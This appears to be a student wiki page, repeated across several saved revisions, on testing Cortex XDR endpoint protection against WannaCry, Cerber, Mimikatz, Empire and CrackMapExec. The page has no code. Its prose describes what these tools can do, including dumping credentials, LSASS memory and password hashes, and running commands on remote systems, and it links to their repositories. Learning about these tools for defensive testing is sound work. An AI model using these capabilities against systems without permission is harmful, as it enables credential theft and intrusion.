*For macOS endpoints, download the ZIP installation folder and upload it to the endpoint. To deploy the Cortex XDR agent using JAMF, upload the ZIP folder to JAMF. Alternatively, to install the agent manually on the endpoint, unzip the ZIP folder and double-click the pkg file.

*For Linux endpoints, you can download .rpm or .deb installers (according to the endpoint Linux distribution), and deploy the installers on the endpoints using the Linux package manager. Alternatively, you can download a Shell installer and deploy it manually on the endpoint.

== Used Hardware ==

HP Notebook

== Used Software ==

* Cortex XDR
* WannaCry Ransomware
* Cerber Ransomware
* Gentilkiwi / Mimikatz
* BC-Security / Empire
* Porchetta-Industries / CrackMapExec

== References ==

*https://docs-cortex.paloaltonetworks.com/r/Cortex-XDR/7.9/Cortex-XDR-Agent-Administrator-Guide
*https://github.com/gentilkiwi/mimikatz
*https://github.com/Porchetta-Industries/CrackMapExec
*https://github.com/BC-SECURITY/Empire
*https://www.avast.com/de-de/c-cerber#:~:text=Link%20kopiert-,Was%20ist%20die%20Cerber%20Ransomware%3F,Sie%20wird%20eine%20L%C3%B6segeldzahlung%20verlangt.
*https://de.wikipedia.org/wiki/WannaCry
*

[[Category:Documentation]]

Endpoint security using Cortex XDR

2023-02-03T16:41:30Z

AAmmann:

== Summary ==

Endpoint security is a critical component of an organization's overall security strategy. It involves protecting devices such as laptops, smartphones, and servers from threats that can compromise the confidentiality, integrity, and availability of sensitive data. Cortex XDR is a next-generation endpoint security solution that provides advanced threat detection and response capabilities to help organizations protect their endpoints from a wide range of threats, including malware, ransomware, and advanced persistent threats (APTs).

Cortex XDR uses a combination of artificial intelligence and machine learning algorithms to detect and respond to threats in real-time. It continuously monitors network traffic and endpoints for suspicious activity and immediately alerts security teams to potential threats. Additionally, Cortex XDR provides detailed forensic analysis and incident response capabilities, allowing organizations to quickly contain and remediate threats.

With Cortex XDR, organizations can proactively protect their endpoints from known and unknown threats, and quickly respond to any incidents that do occur. This helps to minimize the risk of data breaches and ensure that sensitive information remains secure.

Cortex XDR can be used in conjunction with other security solutions, such as firewalls, intrusion detection and prevention systems, and security information and event management (SIEM) platforms, to provide a comprehensive security posture for the organization. It also provides a simplified, centralized management console for security teams to easily manage and monitor their endpoint security posture.

In summary, Cortex XDR is a powerful endpoint security solution that uses artificial intelligence and machine learning to detect and respond to threats in real-time, and provides incident response and forensic analysis capabilities to help organizations quickly contain and remediate threats, while providing a centralized, easy-to-use management console for security teams.

== Description ==

Endpoint security pentesting is a process of testing the security of endpoint devices, such as laptops, desktops, and servers, to identify vulnerabilities and assess the overall security of an organization's endpoint infrastructure.

Endpoint security pentesting can include a variety of different techniques and tools, such as:

* Vulnerability scanning: Identifying known vulnerabilities on endpoint devices
* Social engineering: Attempting to trick users into providing sensitive information or executing malicious code
* Application testing: Identifying vulnerabilities in software installed on endpoint devices
* Physical security testing: Attempting to gain unauthorized access to endpoint devices through physical means
* Network testing: Identifying vulnerabilities in the network infrastructure that could be used to compromise endpoint devices

The goal of endpoint security pentesting is to identify and prioritize vulnerabilities, so that they can be remediated before they are exploited by attackers. This can include providing recommendations for mitigating vulnerabilities, as well as recommendations for improving overall security practices.

It is important for organizations to regularly perform endpoint security pentesting to ensure that their endpoint infrastructure is secure. The results of the pentest can be used to improve the security posture of the organization and to prioritize security investments.

It is important to note that using any tool or method that attempts to gain unauthorized access to systems is illegal in many countries and should only be used with explicit permission from the owner of the system.

== Ransomware ==

Ransomware is a type of malware that encrypts a victim's files and demands a ransom payment in exchange for the decryption key. The payment is typically demanded in the form of cryptocurrency, such as Bitcoin, and is often accompanied by a deadline for payment. Ransomware is typically spread through phishing emails or by exploiting vulnerabilities in software. It can cause significant financial and operational damage to individuals and organizations.

Ransomware attacks can be particularly damaging to businesses, as they can disrupt operations and result in the loss of important data. In some cases, the ransom may be too high for the organization to afford, and they may be forced to pay it. In other cases, the organization may choose to not pay the ransom and instead restore their systems from backups or try to decrypt the files using other methods. Some Ransomware also have a double extortion mechanism, where they also steal data from the organization and threaten to release it publicly if the ransom is not paid. It is important for individuals and organizations to regularly backup their data and to keep their software and systems up to date to reduce the risk of falling victim to a ransomware attack.

=== Cerber Ransomware ===

Cerber is a type of ransomware that was first discovered in 2016. It is known for its use of advanced tactics to evade detection and to spread to other computers on a network. One of the tactics is the use of exploit kits to take advantage of vulnerabilities in software. It also uses a double extortion mechanism, where it steal data from the organization and threaten to release it publicly if the ransom is not paid.
Cerber is typically distributed through spam emails or via malicious websites that exploit vulnerabilities in web browsers and other software. Once a computer is infected, the malware encrypts files on the computer and on any connected network drives, making them inaccessible to the victim. A ransom note is then displayed, instructing the victim to pay a ransom in order to regain access to the encrypted files.
It is important to note that paying the ransom does not guarantee the recovery of the encrypted files and it is advisable to try to restore the data from backups or other means.

=== WannaCry Ransomware ===

WannaCry is a type of ransomware that was first discovered in May 2017. It quickly spread globally, causing widespread disruption to businesses, hospitals and other organizations. WannaCry was notable for its use of a specific exploit called EternalBlue, which was developed by the US National Security Agency (NSA) and leaked to the public by a hacking group called the Shadow Brokers. The exploit targeted a vulnerability in Microsoft Windows operating systems, allowing the ransomware to spread rapidly across networks.
Once a computer was infected, WannaCry encrypts files on the computer and on any connected network drives, making them inaccessible to the victim. A ransom note is then displayed, instructing the victim to pay a ransom in order to regain access to the encrypted files. The ransom payment was demanded in Bitcoin and the attackers threatened to double the ransom if it was not paid within three days.
WannaCry caused significant damage and disruption to organizations worldwide, and it was estimated that the total cost of the attack exceeded $4 billion. Microsoft had released a patch for the vulnerability before the outbreak, but many systems had not yet been updated, highlighting the importance of keeping software up to date.

== Tools ==

=== Cortex XDR ===

Cortex XDR is a security solution developed by Palo Alto Networks that provides advanced threat detection and response capabilities. It combines multiple security technologies, including endpoint protection, network security, and cloud-based threat intelligence, to provide a comprehensive view of an organization's security posture.

Cortex XDR uses machine learning and behavioral analytics to detect and respond to advanced threats, such as ransomware and APTs (Advanced Persistent Threats), in real-time. The platform also allows for automated incident response, which enables security teams to quickly contain and remediate threats.

Cortex XDR also integrates with other security solutions, such as firewalls, to provide a unified view of security across an organization's entire infrastructure. This allows security teams to quickly identify and respond to threats, even if they are spread across multiple systems and networks.

The Cortex XDR platform also includes a cloud-based management console, which enables security teams to monitor and manage security across multiple locations and devices. It allows security teams to identify, investigate and respond to security incidents across all users, devices, and networks with a single console.

=== Mimikatz ===

Mimikatz is a tool that is used to extract sensitive information, such as login credentials, from Windows systems. The tool is often used by attackers to gain access to systems and networks after they have successfully compromised a system. Mimikatz is able to extract information from the Windows operating system's memory, and it can be used to extract credentials from a wide range of applications, including web browsers, email clients, and other software.

Mimikatz can extract a variety of information, including:

* Passwords stored in memory
* Encryption keys
* Hashes of passwords
* Kerberos tickets
* Credentials for services and scheduled tasks

Mimikatz can also be used to perform actions such as:

* Changing a password for a user account
* Adding new user account
* Dumping the LSASS process memory.

Mimikatz is considered a powerful and dangerous tool, and its use in an unauthorized manner is illegal in some countries. It is important for organizations to be aware of the presence of Mimikatz and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

=== BC-Security / Empire ===

Empire is a post-exploitation framework, often used by penetration testers and red teamers to perform various tasks on a compromised system. Empire is based on the PowerShell scripting language and it is a popular tool among attackers because of its ability to execute arbitrary PowerShell commands and scripts, and its ability to perform various post-exploitation tasks such as privilege escalation, key logging, and network reconnaissance.

Empire is a modular framework that allows users to easily create and execute custom modules, making it a powerful and flexible tool. Empire also has the ability to communicate with a command and control (C2) server, which can be used to remotely control a compromised system.

Empire is often used in combination with other tools such as Metasploit, Mimikatz, and Cobalt Strike to perform advanced attacks.

It is important for organizations to be aware of the presence of Empire and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

=== Porchetta-Industries / CrackMapExec ===

CrackMapExec (CME) is a tool that is used to perform network reconnaissance and attack execution. It is often used by penetration testers and red teamers to enumerate and attack Windows-based systems on a network. CME is based on the SMB (Server Message Block) protocol, which is used to provide shared access to files, printers, and other resources on a network.

CME can perform various tasks, including:

Enumerating users, groups, and computers on a network
Dumping password hashes for offline cracking
Executing arbitrary commands or scripts on remote systems
Attempting to authenticate to remote systems using a list of provided credentials
CME is a powerful and fast tool, which can be used to quickly gather information about systems on a network. It is important for organizations to be aware of the presence of CME and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

It is important to note that using CME or any other tool that attempts to gain unauthorized access to systems is illegal in many countries and should only be used with explicit permission from the owner of the system.
==Pentesting With Cortex XDR ==

== Used Hardware ==

HP Notebook

== Used Software ==

* Cortex XDR
* WannaCry Ransomware
* Cerber Ransomware
* Gentilkiwi / Mimikatz
* BC-Security / Empire
* Porchetta-Industries / CrackMapExec

== References ==

*https://docs-cortex.paloaltonetworks.com/r/Cortex-XDR/7.9/Cortex-XDR-Agent-Administrator-Guide
*https://github.com/gentilkiwi/mimikatz
*https://github.com/Porchetta-Industries/CrackMapExec
*https://github.com/BC-SECURITY/Empire
*https://www.avast.com/de-de/c-cerber#:~:text=Link%20kopiert-,Was%20ist%20die%20Cerber%20Ransomware%3F,Sie%20wird%20eine%20L%C3%B6segeldzahlung%20verlangt.
*https://de.wikipedia.org/wiki/WannaCry
*

[[Category:Documentation]]

Endpoint security using Cortex XDR

2023-02-03T16:39:17Z

AAmmann: /* Used Hardware */

== Summary ==

Endpoint security is a critical component of an organization's overall security strategy. It involves protecting devices such as laptops, smartphones, and servers from threats that can compromise the confidentiality, integrity, and availability of sensitive data. Cortex XDR is a next-generation endpoint security solution that provides advanced threat detection and response capabilities to help organizations protect their endpoints from a wide range of threats, including malware, ransomware, and advanced persistent threats (APTs).

Cortex XDR uses a combination of artificial intelligence and machine learning algorithms to detect and respond to threats in real-time. It continuously monitors network traffic and endpoints for suspicious activity and immediately alerts security teams to potential threats. Additionally, Cortex XDR provides detailed forensic analysis and incident response capabilities, allowing organizations to quickly contain and remediate threats.

With Cortex XDR, organizations can proactively protect their endpoints from known and unknown threats, and quickly respond to any incidents that do occur. This helps to minimize the risk of data breaches and ensure that sensitive information remains secure.

Cortex XDR can be used in conjunction with other security solutions, such as firewalls, intrusion detection and prevention systems, and security information and event management (SIEM) platforms, to provide a comprehensive security posture for the organization. It also provides a simplified, centralized management console for security teams to easily manage and monitor their endpoint security posture.

In summary, Cortex XDR is a powerful endpoint security solution that uses artificial intelligence and machine learning to detect and respond to threats in real-time, and provides incident response and forensic analysis capabilities to help organizations quickly contain and remediate threats, while providing a centralized, easy-to-use management console for security teams.

== Description ==

Endpoint security pentesting is a process of testing the security of endpoint devices, such as laptops, desktops, and servers, to identify vulnerabilities and assess the overall security of an organization's endpoint infrastructure.

Endpoint security pentesting can include a variety of different techniques and tools, such as:

* Vulnerability scanning: Identifying known vulnerabilities on endpoint devices
* Social engineering: Attempting to trick users into providing sensitive information or executing malicious code
* Application testing: Identifying vulnerabilities in software installed on endpoint devices
* Physical security testing: Attempting to gain unauthorized access to endpoint devices through physical means
* Network testing: Identifying vulnerabilities in the network infrastructure that could be used to compromise endpoint devices

The goal of endpoint security pentesting is to identify and prioritize vulnerabilities, so that they can be remediated before they are exploited by attackers. This can include providing recommendations for mitigating vulnerabilities, as well as recommendations for improving overall security practices.

It is important for organizations to regularly perform endpoint security pentesting to ensure that their endpoint infrastructure is secure. The results of the pentest can be used to improve the security posture of the organization and to prioritize security investments.

It is important to note that using any tool or method that attempts to gain unauthorized access to systems is illegal in many countries and should only be used with explicit permission from the owner of the system.

== Ransomware ==

Ransomware is a type of malware that encrypts a victim's files and demands a ransom payment in exchange for the decryption key. The payment is typically demanded in the form of cryptocurrency, such as Bitcoin, and is often accompanied by a deadline for payment. Ransomware is typically spread through phishing emails or by exploiting vulnerabilities in software. It can cause significant financial and operational damage to individuals and organizations.

Ransomware attacks can be particularly damaging to businesses, as they can disrupt operations and result in the loss of important data. In some cases, the ransom may be too high for the organization to afford, and they may be forced to pay it. In other cases, the organization may choose to not pay the ransom and instead restore their systems from backups or try to decrypt the files using other methods. Some Ransomware also have a double extortion mechanism, where they also steal data from the organization and threaten to release it publicly if the ransom is not paid. It is important for individuals and organizations to regularly backup their data and to keep their software and systems up to date to reduce the risk of falling victim to a ransomware attack.

=== Cerber Ransomware ===

Cerber is a type of ransomware that was first discovered in 2016. It is known for its use of advanced tactics to evade detection and to spread to other computers on a network. One of the tactics is the use of exploit kits to take advantage of vulnerabilities in software. It also uses a double extortion mechanism, where it steal data from the organization and threaten to release it publicly if the ransom is not paid.
Cerber is typically distributed through spam emails or via malicious websites that exploit vulnerabilities in web browsers and other software. Once a computer is infected, the malware encrypts files on the computer and on any connected network drives, making them inaccessible to the victim. A ransom note is then displayed, instructing the victim to pay a ransom in order to regain access to the encrypted files.
It is important to note that paying the ransom does not guarantee the recovery of the encrypted files and it is advisable to try to restore the data from backups or other means.

=== WannaCry Ransomware ===

WannaCry is a type of ransomware that was first discovered in May 2017. It quickly spread globally, causing widespread disruption to businesses, hospitals and other organizations. WannaCry was notable for its use of a specific exploit called EternalBlue, which was developed by the US National Security Agency (NSA) and leaked to the public by a hacking group called the Shadow Brokers. The exploit targeted a vulnerability in Microsoft Windows operating systems, allowing the ransomware to spread rapidly across networks.
Once a computer was infected, WannaCry encrypts files on the computer and on any connected network drives, making them inaccessible to the victim. A ransom note is then displayed, instructing the victim to pay a ransom in order to regain access to the encrypted files. The ransom payment was demanded in Bitcoin and the attackers threatened to double the ransom if it was not paid within three days.
WannaCry caused significant damage and disruption to organizations worldwide, and it was estimated that the total cost of the attack exceeded $4 billion. Microsoft had released a patch for the vulnerability before the outbreak, but many systems had not yet been updated, highlighting the importance of keeping software up to date.

=== Cortex XDR ===

Cortex XDR is a security solution developed by Palo Alto Networks that provides advanced threat detection and response capabilities. It combines multiple security technologies, including endpoint protection, network security, and cloud-based threat intelligence, to provide a comprehensive view of an organization's security posture.

Cortex XDR uses machine learning and behavioral analytics to detect and respond to advanced threats, such as ransomware and APTs (Advanced Persistent Threats), in real-time. The platform also allows for automated incident response, which enables security teams to quickly contain and remediate threats.

Cortex XDR also integrates with other security solutions, such as firewalls, to provide a unified view of security across an organization's entire infrastructure. This allows security teams to quickly identify and respond to threats, even if they are spread across multiple systems and networks.

The Cortex XDR platform also includes a cloud-based management console, which enables security teams to monitor and manage security across multiple locations and devices. It allows security teams to identify, investigate and respond to security incidents across all users, devices, and networks with a single console.

=== Mimikatz ===

Mimikatz is a tool that is used to extract sensitive information, such as login credentials, from Windows systems. The tool is often used by attackers to gain access to systems and networks after they have successfully compromised a system. Mimikatz is able to extract information from the Windows operating system's memory, and it can be used to extract credentials from a wide range of applications, including web browsers, email clients, and other software.

Mimikatz can extract a variety of information, including:

* Passwords stored in memory
* Encryption keys
* Hashes of passwords
* Kerberos tickets
* Credentials for services and scheduled tasks

Mimikatz can also be used to perform actions such as:

* Changing a password for a user account
* Adding new user account
* Dumping the LSASS process memory.

Mimikatz is considered a powerful and dangerous tool, and its use in an unauthorized manner is illegal in some countries. It is important for organizations to be aware of the presence of Mimikatz and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

=== BC-Security / Empire ===

Empire is a post-exploitation framework, often used by penetration testers and red teamers to perform various tasks on a compromised system. Empire is based on the PowerShell scripting language and it is a popular tool among attackers because of its ability to execute arbitrary PowerShell commands and scripts, and its ability to perform various post-exploitation tasks such as privilege escalation, key logging, and network reconnaissance.

Empire is a modular framework that allows users to easily create and execute custom modules, making it a powerful and flexible tool. Empire also has the ability to communicate with a command and control (C2) server, which can be used to remotely control a compromised system.

Empire is often used in combination with other tools such as Metasploit, Mimikatz, and Cobalt Strike to perform advanced attacks.

It is important for organizations to be aware of the presence of Empire and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

=== Porchetta-Industries / CrackMapExec ===

CrackMapExec (CME) is a tool that is used to perform network reconnaissance and attack execution. It is often used by penetration testers and red teamers to enumerate and attack Windows-based systems on a network. CME is based on the SMB (Server Message Block) protocol, which is used to provide shared access to files, printers, and other resources on a network.

CME can perform various tasks, including:

Enumerating users, groups, and computers on a network
Dumping password hashes for offline cracking
Executing arbitrary commands or scripts on remote systems
Attempting to authenticate to remote systems using a list of provided credentials
CME is a powerful and fast tool, which can be used to quickly gather information about systems on a network. It is important for organizations to be aware of the presence of CME and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

It is important to note that using CME or any other tool that attempts to gain unauthorized access to systems is illegal in many countries and should only be used with explicit permission from the owner of the system.

== Used Hardware ==

HP Notebook

== Used Software ==

* Cortex XDR
* WannaCry Ransomware
* Cerber Ransomware
* Gentilkiwi / Mimikatz
* BC-Security / Empire
* Porchetta-Industries / CrackMapExec

== References ==

*https://docs-cortex.paloaltonetworks.com/r/Cortex-XDR/7.9/Cortex-XDR-Agent-Administrator-Guide
*https://github.com/gentilkiwi/mimikatz
*https://github.com/Porchetta-Industries/CrackMapExec
*https://github.com/BC-SECURITY/Empire
*https://www.avast.com/de-de/c-cerber#:~:text=Link%20kopiert-,Was%20ist%20die%20Cerber%20Ransomware%3F,Sie%20wird%20eine%20L%C3%B6segeldzahlung%20verlangt.
*https://de.wikipedia.org/wiki/WannaCry
*

[[Category:Documentation]]

Endpoint security using Cortex XDR

2023-02-03T16:38:30Z

AAmmann: /* References */

== Summary ==

Endpoint security is a critical component of an organization's overall security strategy. It involves protecting devices such as laptops, smartphones, and servers from threats that can compromise the confidentiality, integrity, and availability of sensitive data. Cortex XDR is a next-generation endpoint security solution that provides advanced threat detection and response capabilities to help organizations protect their endpoints from a wide range of threats, including malware, ransomware, and advanced persistent threats (APTs).

Cortex XDR uses a combination of artificial intelligence and machine learning algorithms to detect and respond to threats in real-time. It continuously monitors network traffic and endpoints for suspicious activity and immediately alerts security teams to potential threats. Additionally, Cortex XDR provides detailed forensic analysis and incident response capabilities, allowing organizations to quickly contain and remediate threats.

With Cortex XDR, organizations can proactively protect their endpoints from known and unknown threats, and quickly respond to any incidents that do occur. This helps to minimize the risk of data breaches and ensure that sensitive information remains secure.

Cortex XDR can be used in conjunction with other security solutions, such as firewalls, intrusion detection and prevention systems, and security information and event management (SIEM) platforms, to provide a comprehensive security posture for the organization. It also provides a simplified, centralized management console for security teams to easily manage and monitor their endpoint security posture.

In summary, Cortex XDR is a powerful endpoint security solution that uses artificial intelligence and machine learning to detect and respond to threats in real-time, and provides incident response and forensic analysis capabilities to help organizations quickly contain and remediate threats, while providing a centralized, easy-to-use management console for security teams.

== Description ==

Endpoint security pentesting is a process of testing the security of endpoint devices, such as laptops, desktops, and servers, to identify vulnerabilities and assess the overall security of an organization's endpoint infrastructure.

Endpoint security pentesting can include a variety of different techniques and tools, such as:

* Vulnerability scanning: Identifying known vulnerabilities on endpoint devices
* Social engineering: Attempting to trick users into providing sensitive information or executing malicious code
* Application testing: Identifying vulnerabilities in software installed on endpoint devices
* Physical security testing: Attempting to gain unauthorized access to endpoint devices through physical means
* Network testing: Identifying vulnerabilities in the network infrastructure that could be used to compromise endpoint devices

The goal of endpoint security pentesting is to identify and prioritize vulnerabilities, so that they can be remediated before they are exploited by attackers. This can include providing recommendations for mitigating vulnerabilities, as well as recommendations for improving overall security practices.

It is important for organizations to regularly perform endpoint security pentesting to ensure that their endpoint infrastructure is secure. The results of the pentest can be used to improve the security posture of the organization and to prioritize security investments.

It is important to note that using any tool or method that attempts to gain unauthorized access to systems is illegal in many countries and should only be used with explicit permission from the owner of the system.

== Ransomware ==

Ransomware is a type of malware that encrypts a victim's files and demands a ransom payment in exchange for the decryption key. The payment is typically demanded in the form of cryptocurrency, such as Bitcoin, and is often accompanied by a deadline for payment. Ransomware is typically spread through phishing emails or by exploiting vulnerabilities in software. It can cause significant financial and operational damage to individuals and organizations.

Ransomware attacks can be particularly damaging to businesses, as they can disrupt operations and result in the loss of important data. In some cases, the ransom may be too high for the organization to afford, and they may be forced to pay it. In other cases, the organization may choose to not pay the ransom and instead restore their systems from backups or try to decrypt the files using other methods. Some Ransomware also have a double extortion mechanism, where they also steal data from the organization and threaten to release it publicly if the ransom is not paid. It is important for individuals and organizations to regularly backup their data and to keep their software and systems up to date to reduce the risk of falling victim to a ransomware attack.

=== Cerber Ransomware ===

Cerber is a type of ransomware that was first discovered in 2016. It is known for its use of advanced tactics to evade detection and to spread to other computers on a network. One of the tactics is the use of exploit kits to take advantage of vulnerabilities in software. It also uses a double extortion mechanism, where it steal data from the organization and threaten to release it publicly if the ransom is not paid.
Cerber is typically distributed through spam emails or via malicious websites that exploit vulnerabilities in web browsers and other software. Once a computer is infected, the malware encrypts files on the computer and on any connected network drives, making them inaccessible to the victim. A ransom note is then displayed, instructing the victim to pay a ransom in order to regain access to the encrypted files.
It is important to note that paying the ransom does not guarantee the recovery of the encrypted files and it is advisable to try to restore the data from backups or other means.

=== WannaCry Ransomware ===

WannaCry is a type of ransomware that was first discovered in May 2017. It quickly spread globally, causing widespread disruption to businesses, hospitals and other organizations. WannaCry was notable for its use of a specific exploit called EternalBlue, which was developed by the US National Security Agency (NSA) and leaked to the public by a hacking group called the Shadow Brokers. The exploit targeted a vulnerability in Microsoft Windows operating systems, allowing the ransomware to spread rapidly across networks.
Once a computer was infected, WannaCry encrypts files on the computer and on any connected network drives, making them inaccessible to the victim. A ransom note is then displayed, instructing the victim to pay a ransom in order to regain access to the encrypted files. The ransom payment was demanded in Bitcoin and the attackers threatened to double the ransom if it was not paid within three days.
WannaCry caused significant damage and disruption to organizations worldwide, and it was estimated that the total cost of the attack exceeded $4 billion. Microsoft had released a patch for the vulnerability before the outbreak, but many systems had not yet been updated, highlighting the importance of keeping software up to date.

=== Cortex XDR ===

Cortex XDR is a security solution developed by Palo Alto Networks that provides advanced threat detection and response capabilities. It combines multiple security technologies, including endpoint protection, network security, and cloud-based threat intelligence, to provide a comprehensive view of an organization's security posture.

Cortex XDR uses machine learning and behavioral analytics to detect and respond to advanced threats, such as ransomware and APTs (Advanced Persistent Threats), in real-time. The platform also allows for automated incident response, which enables security teams to quickly contain and remediate threats.

Cortex XDR also integrates with other security solutions, such as firewalls, to provide a unified view of security across an organization's entire infrastructure. This allows security teams to quickly identify and respond to threats, even if they are spread across multiple systems and networks.

The Cortex XDR platform also includes a cloud-based management console, which enables security teams to monitor and manage security across multiple locations and devices. It allows security teams to identify, investigate and respond to security incidents across all users, devices, and networks with a single console.

=== Mimikatz ===

Mimikatz is a tool that is used to extract sensitive information, such as login credentials, from Windows systems. The tool is often used by attackers to gain access to systems and networks after they have successfully compromised a system. Mimikatz is able to extract information from the Windows operating system's memory, and it can be used to extract credentials from a wide range of applications, including web browsers, email clients, and other software.

Mimikatz can extract a variety of information, including:

* Passwords stored in memory
* Encryption keys
* Hashes of passwords
* Kerberos tickets
* Credentials for services and scheduled tasks

Mimikatz can also be used to perform actions such as:

* Changing a password for a user account
* Adding new user account
* Dumping the LSASS process memory.

Mimikatz is considered a powerful and dangerous tool, and its use in an unauthorized manner is illegal in some countries. It is important for organizations to be aware of the presence of Mimikatz and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

=== BC-Security / Empire ===

Empire is a post-exploitation framework, often used by penetration testers and red teamers to perform various tasks on a compromised system. Empire is based on the PowerShell scripting language and it is a popular tool among attackers because of its ability to execute arbitrary PowerShell commands and scripts, and its ability to perform various post-exploitation tasks such as privilege escalation, key logging, and network reconnaissance.

Empire is a modular framework that allows users to easily create and execute custom modules, making it a powerful and flexible tool. Empire also has the ability to communicate with a command and control (C2) server, which can be used to remotely control a compromised system.

Empire is often used in combination with other tools such as Metasploit, Mimikatz, and Cobalt Strike to perform advanced attacks.

It is important for organizations to be aware of the presence of Empire and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

=== Porchetta-Industries / CrackMapExec ===

CrackMapExec (CME) is a tool that is used to perform network reconnaissance and attack execution. It is often used by penetration testers and red teamers to enumerate and attack Windows-based systems on a network. CME is based on the SMB (Server Message Block) protocol, which is used to provide shared access to files, printers, and other resources on a network.

CME can perform various tasks, including:

Enumerating users, groups, and computers on a network
Dumping password hashes for offline cracking
Executing arbitrary commands or scripts on remote systems
Attempting to authenticate to remote systems using a list of provided credentials
CME is a powerful and fast tool, which can be used to quickly gather information about systems on a network. It is important for organizations to be aware of the presence of CME and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

It is important to note that using CME or any other tool that attempts to gain unauthorized access to systems is illegal in many countries and should only be used with explicit permission from the owner of the system.

== Used Hardware ==

Windows 10 OS

== Used Software ==

* Cortex XDR
* WannaCry Ransomware
* Cerber Ransomware
* Gentilkiwi / Mimikatz
* BC-Security / Empire
* Porchetta-Industries / CrackMapExec

== References ==

*https://docs-cortex.paloaltonetworks.com/r/Cortex-XDR/7.9/Cortex-XDR-Agent-Administrator-Guide
*https://github.com/gentilkiwi/mimikatz
*https://github.com/Porchetta-Industries/CrackMapExec
*https://github.com/BC-SECURITY/Empire
*https://www.avast.com/de-de/c-cerber#:~:text=Link%20kopiert-,Was%20ist%20die%20Cerber%20Ransomware%3F,Sie%20wird%20eine%20L%C3%B6segeldzahlung%20verlangt.
*https://de.wikipedia.org/wiki/WannaCry
*

[[Category:Documentation]]

Endpoint security using Cortex XDR

2023-02-03T16:34:40Z

AAmmann: /* References */

== Summary ==

Endpoint security is a critical component of an organization's overall security strategy. It involves protecting devices such as laptops, smartphones, and servers from threats that can compromise the confidentiality, integrity, and availability of sensitive data. Cortex XDR is a next-generation endpoint security solution that provides advanced threat detection and response capabilities to help organizations protect their endpoints from a wide range of threats, including malware, ransomware, and advanced persistent threats (APTs).

Cortex XDR uses a combination of artificial intelligence and machine learning algorithms to detect and respond to threats in real-time. It continuously monitors network traffic and endpoints for suspicious activity and immediately alerts security teams to potential threats. Additionally, Cortex XDR provides detailed forensic analysis and incident response capabilities, allowing organizations to quickly contain and remediate threats.

With Cortex XDR, organizations can proactively protect their endpoints from known and unknown threats, and quickly respond to any incidents that do occur. This helps to minimize the risk of data breaches and ensure that sensitive information remains secure.

Cortex XDR can be used in conjunction with other security solutions, such as firewalls, intrusion detection and prevention systems, and security information and event management (SIEM) platforms, to provide a comprehensive security posture for the organization. It also provides a simplified, centralized management console for security teams to easily manage and monitor their endpoint security posture.

In summary, Cortex XDR is a powerful endpoint security solution that uses artificial intelligence and machine learning to detect and respond to threats in real-time, and provides incident response and forensic analysis capabilities to help organizations quickly contain and remediate threats, while providing a centralized, easy-to-use management console for security teams.

== Description ==

Endpoint security pentesting is a process of testing the security of endpoint devices, such as laptops, desktops, and servers, to identify vulnerabilities and assess the overall security of an organization's endpoint infrastructure.

Endpoint security pentesting can include a variety of different techniques and tools, such as:

* Vulnerability scanning: Identifying known vulnerabilities on endpoint devices
* Social engineering: Attempting to trick users into providing sensitive information or executing malicious code
* Application testing: Identifying vulnerabilities in software installed on endpoint devices
* Physical security testing: Attempting to gain unauthorized access to endpoint devices through physical means
* Network testing: Identifying vulnerabilities in the network infrastructure that could be used to compromise endpoint devices

The goal of endpoint security pentesting is to identify and prioritize vulnerabilities, so that they can be remediated before they are exploited by attackers. This can include providing recommendations for mitigating vulnerabilities, as well as recommendations for improving overall security practices.

It is important for organizations to regularly perform endpoint security pentesting to ensure that their endpoint infrastructure is secure. The results of the pentest can be used to improve the security posture of the organization and to prioritize security investments.

It is important to note that using any tool or method that attempts to gain unauthorized access to systems is illegal in many countries and should only be used with explicit permission from the owner of the system.

== Ransomware ==

Ransomware is a type of malware that encrypts a victim's files and demands a ransom payment in exchange for the decryption key. The payment is typically demanded in the form of cryptocurrency, such as Bitcoin, and is often accompanied by a deadline for payment. Ransomware is typically spread through phishing emails or by exploiting vulnerabilities in software. It can cause significant financial and operational damage to individuals and organizations.

Ransomware attacks can be particularly damaging to businesses, as they can disrupt operations and result in the loss of important data. In some cases, the ransom may be too high for the organization to afford, and they may be forced to pay it. In other cases, the organization may choose to not pay the ransom and instead restore their systems from backups or try to decrypt the files using other methods. Some Ransomware also have a double extortion mechanism, where they also steal data from the organization and threaten to release it publicly if the ransom is not paid. It is important for individuals and organizations to regularly backup their data and to keep their software and systems up to date to reduce the risk of falling victim to a ransomware attack.

=== Cerber Ransomware ===

Cerber is a type of ransomware that was first discovered in 2016. It is known for its use of advanced tactics to evade detection and to spread to other computers on a network. One of the tactics is the use of exploit kits to take advantage of vulnerabilities in software. It also uses a double extortion mechanism, where it steal data from the organization and threaten to release it publicly if the ransom is not paid.
Cerber is typically distributed through spam emails or via malicious websites that exploit vulnerabilities in web browsers and other software. Once a computer is infected, the malware encrypts files on the computer and on any connected network drives, making them inaccessible to the victim. A ransom note is then displayed, instructing the victim to pay a ransom in order to regain access to the encrypted files.
It is important to note that paying the ransom does not guarantee the recovery of the encrypted files and it is advisable to try to restore the data from backups or other means.

=== WannaCry Ransomware ===

WannaCry is a type of ransomware that was first discovered in May 2017. It quickly spread globally, causing widespread disruption to businesses, hospitals and other organizations. WannaCry was notable for its use of a specific exploit called EternalBlue, which was developed by the US National Security Agency (NSA) and leaked to the public by a hacking group called the Shadow Brokers. The exploit targeted a vulnerability in Microsoft Windows operating systems, allowing the ransomware to spread rapidly across networks.
